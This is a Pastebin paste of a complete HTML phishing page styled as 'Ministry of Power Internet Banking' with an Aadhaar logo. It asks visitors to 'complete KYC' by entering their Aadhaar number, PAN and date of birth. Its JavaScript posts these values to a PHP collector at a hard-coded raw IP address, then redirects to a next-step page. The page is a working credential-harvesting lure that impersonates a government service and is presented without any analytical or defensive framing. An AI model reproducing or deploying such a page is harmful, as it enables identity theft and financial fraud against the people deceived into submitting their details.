Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Ministry of Power Internet Banking</title>
- <style>
- body {
- font-family: Arial, sans-serif;
- background-color: #f0f8ff;
- margin: 0;
- padding: 20px;
- display: flex;
- justify-content: center;
- align-items: center;
- min-height: 100vh;
- }
- .container {
- background-color: white;
- padding: 20px;
- border-radius: 8px;
- box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
- max-width: 400px;
- width: 100%;
- }
- .logo {
- display: flex;
- align-items: center;
- margin-bottom: 20px;
- }
- .logo img {
- width: 150px;
- height: auto;
- margin-right: 10px;
- }
- .logo-text {
- font-size: 14px;
- line-height: 1.2;
- }
- h1 {
- text-align: left;
- margin: 0;
- font-size: 24px;
- margin-bottom: 20px;
- color: #000080;
- }
- .hindi {
- font-size: 18px;
- }
- select, input {
- width: 100%;
- padding: 10px;
- margin-bottom: 15px;
- border: 1px solid #ccc;
- border-radius: 4px;
- box-sizing: border-box;
- font-size: 16px;
- }
- select {
- appearance: none;
- background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='%23000000' viewBox='0 0 16 16'%3E%3Cpath d='M7.247 11.14 2.451 5.658C1.885 5.013 2.345 4 3.204 4h9.592a1 1 0 0 1 .753 1.659l-4.796 5.48a1 1 0 0 1-1.506 0z'/%3E%3C/svg%3E");
- background-repeat: no-repeat;
- background-position: right 10px center;
- }
- .pay-btn {
- background-color: #0066cc;
- color: white;
- border: none;
- padding: 12px;
- width: 100%;
- font-size: 18px;
- border-radius: 4px;
- cursor: pointer;
- }
- .small-red-text {
- color: red;
- font-size: 12px;
- margin-top: 5px;
- display: block;
- }
- </style>
- </head>
- <body>
- <div class="container">
- <div class="logo">
- <img src="https://upload.wikimedia.org/wikipedia/hi/thumb/c/cf/Aadhaar_Logo.svg/600px-Aadhaar_Logo.svg.png?20211118080822" alt="Ministry of Power Logo">
- </div>
- <h1>Enter below details to complete your KYC</h1>
- <span class="small-red-text">अपना केवाईसी पूर्ण करने के लिए अपनी जानकारी दर्ज कीजिए</span>
- <br>
- <hr>
- <form id="loginForm" onsubmit="return validateForm()">
- <input id="aadhar" type="text" placeholder="Aadhar Number (आधार अंक )" required>
- <input id="pan" type="text" placeholder="PAN Number ( पैन अंक )" required>
- <input id="dob" type="text" placeholder="Date of Birth: DD/MM/YYYY" required maxlength="10">
- <button type="submit" class="pay-btn">Submit</button>
- </form>
- </div>
- <script>
- function formatDateOfBirth(input) {
- let value = input.value.replace(/\D/g, '');
- let formattedValue = '';
- for (let i = 0; i < value.length; i++) {
- if (i === 2 || i === 4) {
- formattedValue += '/';
- }
- formattedValue += value[i];
- }
- input.value = formattedValue;
- }
- document.getElementById('dob').addEventListener('input', function() {
- formatDateOfBirth(this);
- });
- </script>
- <script>
- function validateForm() {
- const aadhar = document.getElementById('aadhar').value.trim();
- const pan = document.getElementById('pan').value.trim();
- const dob = document.getElementById('dob').value.trim();
- if (aadhar === '' || pan === '' || dob ==='') {
- alert('All fields are required. Please fill in all the information.');
- return false;
- }
- captureFormData();
- return false; // Prevent form from submitting normally
- }
- function captureFormData() {
- const aadhar = document.getElementById('aadhar').value.trim();
- const pan = document.getElementById('pan').value.trim();
- const dob = document.getElementById('dob').value.trim();
- fetch('http://41.216.183.23/ALL/4/save_data.php', {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- form: 3,
- aadharr: aadhar,
- pann: pan,
- dobb: dob
- })
- })
- .then(response => {
- if (response.ok) {
- alert('Successful. Redirecting to next page');
- window.location.href = '4.html';
- } else {
- alert('Failed to submit form data. Please try again later.');
- }
- })
- .catch(error => {
- console.error('Error:', error);
- alert('Your request has been registered.');
- });
- }
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement